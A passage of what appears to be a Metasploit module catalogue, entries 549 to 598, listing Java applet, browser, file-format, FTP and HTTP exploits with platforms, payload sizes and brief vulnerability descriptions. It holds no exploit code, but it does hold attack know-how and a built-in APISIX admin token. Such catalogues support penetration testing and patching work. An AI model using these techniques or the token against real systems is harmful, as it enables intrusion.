  replacement for classForName back in JDK 6. It allows untrusted code
to obtain a
```

```
  reference and have access to a restricted package in JDK 7, which
can be used to
  abuse sun.awt.SunToolkit (a restricted package).  With
sun.awt.SunToolkit, we can
  actually invoke getField() by abusing findMethod() in
Statement.invokeInternal()
  (but getField() must be public, and that's not always the case in
JDK 6) in order
  to access Statement.acc's private field, modify
AccessControlContext, and then
  disable Security Manager. Once Security Manager is disabled, we can
execute
  arbitrary Java code.

  Our exploit has been tested successfully against multiple platforms,
including:
  IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.

End Exploit Number 549

Begin Exploit Number 550
       Name: Java Applet AverageRangeStatisticImpl Remote Code
Execution
     Module: exploit/multi/browser/
java_jre17_glassfish_averagerangestatisticimpl
   Platform: Java, Linux, OSX, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-16

Payload information:
  Space: 20480

Description:
  This module abuses the AverageRangeStatisticImpl from a Java Applet
to run
  arbitrary Java code outside of the sandbox, a different exploit
vector than the one
  exploited in the wild in November of 2012. The vulnerability affects
Java version
  7u7 and earlier.

End Exploit Number 550

Begin Exploit Number 551
       Name: Java Applet JAX-WS Remote Code Execution
     Module: exploit/multi/browser/java_jre17_jaxws
   Platform: Java, Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-16

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the JAX-WS classes from a Java Applet to run 
arbitrary Java
  code outside of the sandbox as exploited in the wild in November of 
2012. The
  vulnerability affects Java version 7u7 and earlier.

End Exploit Number 551

Begin Exploit Number 552
       Name: Java Applet JMX Remote Code Execution
     Module: exploit/multi/browser/java_jre17_jmxbean
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-10

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the JMX classes from a Java Applet to run 
arbitrary Java
  code outside of the sandbox as exploited in the wild in January of 
2013. The
  vulnerability affects Java version 7u10 and earlier.

End Exploit Number 552

Begin Exploit Number 553
       Name: Java Applet JMX Remote Code Execution
     Module: exploit/multi/browser/java_jre17_jmxbean_2
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-19

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the JMX classes from a Java Applet to run 
arbitrary Java code
  outside of the sandbox as exploited in the wild in February of 2013. 
Additionally,
  this module bypasses default security settings introduced in Java 7 
Update 10 to run
  unsigned applet without displaying any warning to the user.

End Exploit Number 553

Begin Exploit Number 554
       Name: Java Applet Method Handle Remote Code Execution
     Module: exploit/multi/browser/java_jre17_method_handle
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-16

Payload information:
  Space: 20480

Description:
  This module abuses the Method Handle class from a Java Applet to run 
arbitrary
  Java code outside of the sandbox. The vulnerability affects Java 
version 7u7 and
  earlier.

End Exploit Number 554

Begin Exploit Number 555
       Name: Java Applet ProviderSkeleton Insecure Invoke Method
     Module: exploit/multi/browser/java_jre17_provider_skeleton
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-06-18

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the insecure invoke() method of the
ProviderSkeleton class that
  allows to call arbitrary static methods with user supplied
arguments. The vulnerability
  affects Java version 7u21 and earlier.

End Exploit Number 555

Begin Exploit Number 556
       Name: Java Applet Reflection Type Confusion Remote Code
Execution
     Module: exploit/multi/browser/java_jre17_reflection_types
   Platform: Java, Linux, OSX, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-10

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses Java Reflection to generate a Type Confusion, due
to a weak
  access control when setting final fields on static classes, and run
code outside of
  the Java Sandbox. The vulnerability affects Java version 7u17 and
earlier. This
  exploit bypasses click-to-play throw a specially crafted JNLP file.
This bypass is
  applied mainly to IE, when Java Web Start can be launched
automatically throw the
  ActiveX control. Otherwise the applet is launched without click-to-
play bypass.

End Exploit Number 556

Begin Exploit Number 557
       Name: Java Applet Rhino Script Engine Remote Code Execution
     Module: exploit/multi/browser/java_rhino
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2011-10-18

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in the Rhino Script Engine that
  can be used by a Java Applet to run arbitrary Java code outside of
  the sandbox.  The vulnerability affects version 7 and version 6
update
  27 and earlier, and should work on any browser that supports Java
  (for example: IE, Firefox, Google Chrome, etc)

End Exploit Number 557

Begin Exploit Number 558
       Name: Java RMIConnectionImpl Deserialization Privilege
Escalation
     Module: exploit/multi/browser/java_rmi_connection_impl
   Platform: Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-31

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in the Java Runtime Environment
  that allows to deserialize a MarshalledObject containing a custom
  classloader under a privileged context. The vulnerability affects
  version 6 prior to update 19 and version 5 prior to update 23.

End Exploit Number 558

Begin Exploit Number 559
       Name: Sun Java JRE AWT setDiffICM Buffer Overflow
     Module: exploit/multi/browser/java_setdifficm_bof
   Platform: Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-04
```

```
Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a flaw in the setDiffICM function in the Sun
JVM.

  The payload is serialized and passed to the applet via PARAM tags.
It must be
  a native payload.

  The effected Java versions are JDK and JRE 6 Update 16 and earlier,
  JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
  earlier, and SDK and JRE 1.3.1_26 and earlier.

  NOTE: Although all of the above versions are reportedly vulnerable,
only
  1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.

End Exploit Number 559

Begin Exploit Number 560
       Name: Java Signed Applet Social Engineering Code Execution
     Module: exploit/multi/browser/java_signed_applet
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1997-02-19

Payload information:
  Avoid: 0 characters

Description:
  This exploit dynamically creates a .jar file via the
  Msf::Exploit::Java mixin, then signs the it.  The resulting
  signed applet is presented to the victim via a web page with
  an applet tag.  The victim's JVM will pop a dialog asking if
  they trust the signed applet.

  On older versions the dialog will display the value of CERTCN
  in the "Publisher" line.  Newer JVMs display "UNKNOWN" when the
  signature is not trusted (i.e., it's not signed by a trusted
  CA).  The SigningCert option allows you to provide a trusted
  code signing cert, the values in which will override CERTCN.
  If SigningCert is not given, a randomly generated self-signed
  cert will be used.
  Either way, once the user clicks "run", the applet executes
  with full user permissions.

End Exploit Number 560

Begin Exploit Number 561
       Name: Java storeImageArray() Invalid Array Indexing
Vulnerability
     Module: exploit/multi/browser/java_storeimagearray
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-08-12

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses an Invalid Array Indexing Vulnerability on the
  static function storeImageArray() function in order to cause a
  memory corruption and escape the Java Sandbox. The vulnerability
  affects Java version 7u21 and earlier. The module, which doesn't
bypass
  click2play, has been tested successfully on Java 7u21 on Windows and
  Linux systems.

End Exploit Number 561

Begin Exploit Number 562
       Name: Java Statement.invoke() Trusted Method Chain Privilege
Escalation
     Module: exploit/multi/browser/java_trusted_chain
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-31

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in Java Runtime Environment
  that allows an untrusted method to run in a privileged context.  The
  vulnerability affects version 6 prior to update 19 and version 5
  prior to update 23.

End Exploit Number 562

Begin Exploit Number 563
       Name: Java Applet Field Bytecode Verifier Cache Remote Code
Execution
     Module: exploit/multi/browser/java_verifier_field_access
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-06

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in HotSpot bytecode verifier
where an invalid
  optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions
leads to insufficient
  type checks. This allows a way to escape the JRE sandbox, and load
additional classes
  in order to perform malicious operations.

End Exploit Number 563

Begin Exploit Number 564
       Name: Mozilla Suite/Firefox compareTo() Code Execution
     Module: exploit/multi/browser/mozilla_compareto
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-07-13

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a code execution vulnerability in the Mozilla
  Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This
exploit
  module is a direct port of Aviv Raff's HTML PoC.
```

```
End Exploit Number 564

Begin Exploit Number 565
       Name: Mozilla Suite/Firefox Navigator Object Code Execution
     Module: exploit/multi/browser/mozilla_navigatorjava
   Platform: Windows, Linux, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-07-25

Payload information:
  Space: 512
  Avoid: 0 characters

Description:
  This module exploits a code execution vulnerability in the Mozilla
  Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This
exploit
  requires the Java plugin to be installed.

End Exploit Number 565

Begin Exploit Number 566
       Name: Metasploit msfd Remote Code Execution via Browser
     Module: exploit/multi/browser/msfd_rce_browser
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: BSD License
       Rank: Normal
  Disclosed: 2018-04-11

Payload information:
  Space: 8192
  Avoid: 2 characters

Description:
  Metasploit's msfd-service makes it possible to get a msfconsole-like
  interface over a TCP socket. This module connects to the msfd-socket
  through the victim's browser.

  To execute msfconsole-commands in JavaScript from a web application,
  this module places the payload in the POST-data. These POST-requests
  can be sent cross-domain and can therefore be sent to localhost on
the
  victim's machine. The msfconsole-command to execute code is 'rbi -e
  "CODE"'.
  Exploitation when the browser is running on Windows is unreliable
and
  the exploit is only usable when IE is used and the quiet-flag has
been
  passed to msf-daemon.


End Exploit Number 566

Begin Exploit Number 567
       Name: Opera 9 Configuration Overwrite
     Module: exploit/multi/browser/opera_configoverwrite
   Platform: Unix
       Arch:
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2007-03-05

Payload information:
  Space: 2048
  Avoid: 1 characters

Description:
  Opera web browser in versions <= 9.10 allows unrestricted script
  access to its configuration page, opera:config, allowing an
  attacker to change settings and potentially execute arbitrary
  code.

End Exploit Number 567

Begin Exploit Number 568
       Name: Opera historysearch XSS
     Module: exploit/multi/browser/opera_historysearch
   Platform: Unix
       Arch:
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2008-10-23

Payload information:
  Space: 4000
  Avoid: 4 characters

Description:
  Certain constructs are not escaped correctly by Opera's History
  Search results.  These can be used to inject scripts into the
  page, which can then be used to modify configuration settings
  and execute arbitrary commands.  Affects Opera versions between
  9.50 and 9.61.

End Exploit Number 568

Begin Exploit Number 569
       Name: Apple QTJava toQTPointer() Arbitrary Memory Access
     Module: exploit/multi/browser/qtjava_pointer
   Platform: Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-04-23

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits an arbitrary memory access vulnerability in the
  Quicktime for Java API provided with Quicktime 7.

End Exploit Number 569

Begin Exploit Number 570
       Name: ElasticSearch Dynamic Script Arbitrary Java Execution
     Module: exploit/multi/elasticsearch/script_mvel_rce
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-09

Payload information:

Description:
  This module exploits a remote command execution (RCE) vulnerability
in ElasticSearch,
  exploitable by default on ElasticSearch prior to 1.2.0. The bug is
found in the
  REST API, which does not require authentication, where the search
  function allows dynamic scripts execution. It can be used for remote
attackers
  to execute arbitrary Java code. This module has been tested
successfully on
  ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.

End Exploit Number 570
```

```
Begin Exploit Number 571
       Name: ElasticSearch Search Groovy Sandbox Bypass
     Module: exploit/multi/elasticsearch/search_groovy_script
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-11

Payload information:

Description:
  This module exploits a remote command execution (RCE) vulnerability
in ElasticSearch,
  exploitable by default on ElasticSearch prior to 1.4.3. The bug is
found in the
  REST API, which does not require authentication, where the search
function allows
  groovy code execution and its sandbox can be bypassed using
java.lang.Math.class.forName
  to reference arbitrary classes. It can be used to execute arbitrary
Java code. This
  module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu
Server 12.04.

End Exploit Number 571

Begin Exploit Number 572
       Name: Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
     Module: exploit/multi/fileformat/adobe_u3d_meshcont
   Platform: Windows, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-13

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an array overflow in Adobe Reader and Adobe
Acrobat.
  Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
  specially crafted pdf that a contains malformed U3D data, an
attacker may
  be able to execute arbitrary code.
```

```
End Exploit Number 572

Begin Exploit Number 573
       Name: PEAR Archive_Tar 1.4.10 Arbitrary File Write
     Module: exploit/multi/fileformat/archive_tar_arb_file_write
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-17

Payload information:

Description:
  This module takes advantages of Archive_Tar <= 1.4.10's lack of
validation of file stream wrappers contained
  within filenames to write an arbitrary file containing user
controlled content to an arbitrary file
  on disk. Note that the file will be written to disk with the
permissions of the user that PHP is
  running as, so it may not be possible to overwrite some files if the
PHP user is not appropriately
  privileged.

End Exploit Number 573

Begin Exploit Number 574
       Name: Evince CBT File Command Injection
     Module: exploit/multi/fileformat/evince_cbt_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-13

Payload information:
  Space: 215
  Avoid: 4 characters

Description:
  This module exploits a command injection vulnerability in Evince
  before version 3.24.1 when opening comic book `.cbt` files.

  Some file manager software, such as Nautilus and Atril, may allow
  automatic exploitation without user interaction due to thumbnailer
  preview functionality.

  Note that limited space is available for the payload (<256 bytes).
  Reverse Bash and Reverse Netcat payloads should be sufficiently
small.

  This module has been tested successfully on evince versions:

  3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
  3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.

End Exploit Number 574

Begin Exploit Number 575
       Name: Ghostscript Failed Restore Command Execution
     Module: exploit/multi/fileformat/ghostscript_failed_restore
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-21

Payload information:
  Space: 4089

Description:
  This module exploits a -dSAFER bypass in Ghostscript to execute
  arbitrary commands by handling a failed restore (grestore) in
  PostScript to disable LockSafetyParams and avoid invalidaccess.

  This vulnerability is reachable via libraries such as ImageMagick.

End Exploit Number 575

Begin Exploit Number 576
       Name: GitLens Git Local Configuration Exec
     Module: exploit/multi/fileformat/gitlens_local_config_exec
   Platform: 
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-11-14

Payload information:

Description:
  GitKraken GitLens before v.14.0.0 allows an untrusted workspace to
execute git
  commands. A repo may include its own .git folder including a
malicious config file to
  execute arbitrary code.
  Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and
Windows 10

End Exploit Number 576

Begin Exploit Number 577
       Name: Javascript Injection for Eval-based Unpackers
     Module: exploit/multi/fileformat/js_unpacker_eval_injection
   Platform: NodeJS
       Arch: nodejs
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-18

Payload information:

Description:
  This module generates a Javascript file that executes arbitrary code
  when an eval-based unpacker is run on it. Works against js-
beautify's
  P_A_C_K_E_R unpacker.


End Exploit Number 577

Begin Exploit Number 578
       Name: LibreOffice Macro Python Code Execution
     Module: exploit/multi/fileformat/libreoffice_logo_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-07-16

Payload information:

Description:
  LibreOffice comes bundled with sample macros written in Python and
  allows the ability to bind program events to them.

  LibreLogo is a macro that allows a program event to execute text as
Python code, allowing RCE.

  This module generates an ODT file with a dom loaded event that,
  when triggered, will execute arbitrary python code and the
metasploit payload.
```

```
End Exploit Number 578

Begin Exploit Number 579
       Name: LibreOffice Macro Code Execution
     Module: exploit/multi/fileformat/libreoffice_macro_exec
   Platform: Windows, Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-10-18

Payload information:

Description:
  LibreOffice comes bundled with sample macros written in Python and
  allows the ability to bind program events to them. A macro can be
tied
  to a program event by including the script that contains the macro
and
  the function name to be executed. Additionally, a directory
traversal
  vulnerability exists in the component that references the Python
script
  to be executed. This allows a program event to execute functions
from Python
  scripts relative to the path of the samples macros folder. The
pydoc.py script
  included with LibreOffice contains the tempfilepager function that
passes
  arguments to os.system, allowing RCE.

  This module generates an ODT file with a mouse over event that
  when triggered, will execute arbitrary code.

End Exploit Number 579

Begin Exploit Number 580
       Name: Maple Maplet File Creation and Command Execution
     Module: exploit/multi/fileformat/maple_maplet
   Platform: Windows, Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-04-26

Payload information:
  Space: 1024
  Avoid: 0 characters
```

```
Description:
  This module harnesses Maple's ability to create files and execute
commands
  automatically when opening a Maplet. All versions up to 13 are
suspected
  vulnerable. Testing was conducted with version 13 on Windows.
Standard security
  settings prevent code from running in a normal maple worksheet
without user
  interaction, but those setting do not prevent code in a Maplet from
running.

  In order for the payload to be executed, an attacker must convince
someone to
  open a specially modified .maplet file with Maple. By doing so, an
attacker can
  execute arbitrary code as the victim user.

End Exploit Number 580

Begin Exploit Number 581
       Name: Nodejs js-yaml load() Code Execution
     Module: exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
   Platform: NodeJS
       Arch: nodejs
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-28

Payload information:

Description:
  This module can be used to abuse node.js applications that parse
user-supplied YAML input
  using the load() function from the 'js-yaml' package < 2.0.5, which
doesn't properly handle
  the unsafe !!js/function tag, allowing to specify a self-executing
function which results
  on execution of arbitrary javascript code.

End Exploit Number 581

Begin Exploit Number 582
       Name: Microsoft Office Word Malicious Macro Execution
     Module: exploit/multi/fileformat/office_word_macro
   Platform:
       Arch:
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-10

Payload information:

Description:
  This module injects a malicious macro into a Microsoft Office Word
document (docx). The
  comments field in the metadata is injected with a Base64 encoded
payload, which will be
  decoded by the macro and execute as a Windows executable.

  For a successful attack, the victim is required to manually enable
macro execution.

End Exploit Number 582

Begin Exploit Number 583
       Name: PeaZip Zip Processing Command Injection
     Module: exploit/multi/fileformat/peazip_command_injection
   Platform: Linux, Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-06-05

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a command injection vulnerability in PeaZip.
All
  versions prior to 2.6.2 are suspected vulnerable. Testing was
conducted with
  version 2.6.1 on Windows.

  In order for the command to be executed, an attacker must convince
someone to
  open a specially crafted zip file with PeaZip, and access the
specially file via
  double-clicking it. By doing so, an attacker can execute arbitrary
commands
  as the victim user.

End Exploit Number 583

Begin Exploit Number 584
```

```
       Name: JSON Swagger CodeGen Parameter Injector
     Module: exploit/multi/fileformat/swagger_param_inject
   Platform: NodeJS, PHP, Java, Ruby
       Arch: nodejs, php, java, ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-23

Payload information:

Description:
  This module generates an Open API Specification 2.0 (Swagger)
compliant
  json document that includes payload insertion points in parameters.

  In order for the payload to be executed, an attacker must convince
  someone to generate code from a specially modified swagger.json file
  within a vulnerable swagger-codgen appliance/container/api/service,
  and then to execute that generated code (or include it into software
  which will later be executed by another victim). By doing so, an
  attacker can execute arbitrary code as the victim user. The same
  vulnerability exists in the YAML format.

End Exploit Number 584

Begin Exploit Number 585
       Name: Code Reviewer
     Module: exploit/multi/fileformat/visual_studio_vsix_exec
   Platform: NodeJS
       Arch: nodejs
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-22

Payload information:

Description:
  Reviews code

End Exploit Number 585

Begin Exploit Number 586
       Name: Generic Zip Slip Traversal Vulnerability
     Module: exploit/multi/fileformat/zip_slip
   Platform: Linux, Windows, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Manual
  Disclosed: 2018-06-05

Payload information:

Description:
  This is a generic arbitrary file overwrite technique, which
typically results in remote
  command execution. This targets a simple yet widespread
vulnerability that has been
  seen affecting a variety of popular products including HP, Amazon,
Apache, Cisco, etc.
  The idea is that often archive extraction libraries have no
mitigations against
  directory traversal attacks. If an application uses it, there is a
risk when opening an
  archive that is maliciously modified, and result in the embedded
payload to be written
  to an arbitrary location (such as a web root), and result in remote
code execution.

End Exploit Number 586

Begin Exploit Number 587
       Name: Pure-FTPd External Authentication Bash Environment
Variable Code Injection (Shellshock)
     Module: exploit/multi/ftp/pureftpd_bash_env_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-24

Payload information:
  Space: 2048

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell
  handles external environment variables. This module targets the
Pure-FTPd FTP
  server when it has been compiled with the --with-extauth flag and an
external
  Bash script is used for authentication. If the server is not set up
this way,
  the exploit will fail, even if the version of Bash in use is
vulnerable.

End Exploit Number 587
```

```
Begin Exploit Number 588
       Name: WU-FTPD SITE EXEC/INDEX Format String Vulnerability
     Module: exploit/multi/ftp/wuftpd_site_exec_format
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2000-06-22

Payload information:
  Space: 256
  Avoid: 7 characters

Description:
  This module exploits a format string vulnerability in versions of 
the
  Washington University FTP server older than 2.6.1. By executing
  specially crafted SITE EXEC or SITE INDEX commands containing format
  specifiers, an attacker can corrupt memory and execute arbitrary 
code.

End Exploit Number 588

Begin Exploit Number 589
       Name: GDB Server Remote Payload Execution
     Module: exploit/multi/gdb/gdb_server_exec
   Platform: Linux, Unix, OSX
       Arch: x86, x64, armle, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-08-24

Payload information:

Description:
  This module attempts to execute an arbitrary payload on a loose 
gdbserver service.

End Exploit Number 589

Begin Exploit Number 590
       Name: Steamed Hams
     Module: exploit/multi/hams/steamed
   Platform: Android, Apple_iOS, BSD, Java, JavaScript, Linux, OSX, 
NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows, Mainframe, Multi
       Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, 
ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, 
armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs,
firefox, zarch, r
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-04-01

Payload information:

Description:
  but it's a Metasploit Module

End Exploit Number 590

Begin Exploit Number 591
       Name: Generic Payload Handler
     Module: exploit/multi/handler
   Platform: Android, Apple_iOS, BSD, Java, JavaScript, Linux, OSX,
NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows, Mainframe, Multi
       Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le,
ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle,
armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs,
firefox, zarch, r
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual

Payload information:
  Space: 10000000
  Avoid: 0 characters

Description:
  This module is a stub that provides all of the
  features of the Metasploit payload system to exploits
  that have been launched outside of the framework.


End Exploit Number 591

Begin Exploit Number 592
       Name: Active Collab "chat module" Remote PHP Code Injection
Exploit
     Module: exploit/multi/http/activecollab_chat
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-30
```

```
Payload information:
  Space: 4000

Description:
  This module exploits an arbitrary code injection vulnerability in
the
  chat module that is part of Active Collab versions 2.3.8 and earlier
by
  abusing a preg_replace() using the /e modifier and its replacement
  string using double quotes. The vulnerable function can be found in
  activecollab/application/modules/chat/functions/html_to_text.php.

End Exploit Number 592

Begin Exploit Number 593
       Name: Adobe ColdFusion Unauthenticated Remote Code Execution
     Module: exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360
   Platform: Java, Windows, Linux, Unix
       Arch: java, cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-03-14

Payload information:

Description:
  This module exploits a remote unauthenticated deserialization of
untrusted data vulnerability in Adobe
  ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018
Update 15 and earlier, in
  order to gain remote code execution.

End Exploit Number 593

Begin Exploit Number 594
       Name: Agent Tesla Panel Remote Code Execution
     Module: exploit/multi/http/agent_tesla_panel_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-14

Payload information:

Description:
  This module exploits a command injection vulnerability within the
Agent Tesla control panel,
  in combination with an SQL injection vulnerability and a PHP object
injection vulnerability, to gain
  remote code execution on affected hosts.

  Panel versions released prior to Sepetember 12, 2018 can be
exploited by unauthenticated attackers to
  gain remote code execution as user running the web server. Agent
Tesla panels released on or after
  this date can still be exploited however, provided that attackers
have valid credentials for the
  Agent Tesla control panel.

  Note that this module presently only fully supports Windows hosts
running Agent Tesla on the WAMP stack.
  Support for Linux may be added in a future update, but could not be
confirmed during testing.

End Exploit Number 594

Begin Exploit Number 595
       Name: AjaXplorer checkInstall.php Remote Command Execution
     Module: exploit/multi/http/ajaxplorer_checkinstall_exec
   Platform: BSD, Linux, OSX, Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-04-04

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
the
  AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer
prior to
  2.6 are vulnerable.

End Exploit Number 595

Begin Exploit Number 596
       Name: ActiveMQ web shell upload
     Module: exploit/multi/http/apache_activemq_upload_jsp
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-01
```

```
Payload information:

Description:
  The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
  allows remote attackers to upload and execute arbitrary files via an
  HTTP PUT followed by an HTTP MOVE request.

End Exploit Number 596

Begin Exploit Number 597
       Name: APISIX Admin API default access token RCE
     Module: exploit/multi/http/apache_apisix_api_default_token_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-07

Payload information:

Description:
  Apache APISIX has a default, built-in API token
edd1c9f034335f136f87ad84b625c8f1 that can be used to access
  all of the admin API, which leads to remote LUA code execution
through the script parameter added in the 2.x
  version. This module also leverages another vulnerability to bypass
the IP restriction plugin.

End Exploit Number 597

Begin Exploit Number 598
       Name: Apache Commons Text RCE
     Module: exploit/multi/http/apache_commons_text4shell
   Platform: Windows, Linux, Unix, Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-13

Payload information:

Description:
  This exploit takes advantage of the StringSubstitutor interpolator
class,
  which is included in the Commons Text library. A default
interpolator
  allows for string lookups that can lead to Remote Code Execution.
```

```
This
  is due to a logic flaw that makes the “script”, “dns” and “url”
lookup
  keys interpolated by default, as opposed to what it should be,
according
  to the documentation of the StringLookupFactory class. Those keys
allow
  an attacker to execute arbitrary code via lookups primarily using
the
  "script" key.

  In order to exploit the vulnerabilities, the following requirements
must
  be met:

  Run a version of Apache Commons Text from version 1.5 to 1.9
  Use the StringSubstitutor interpolator
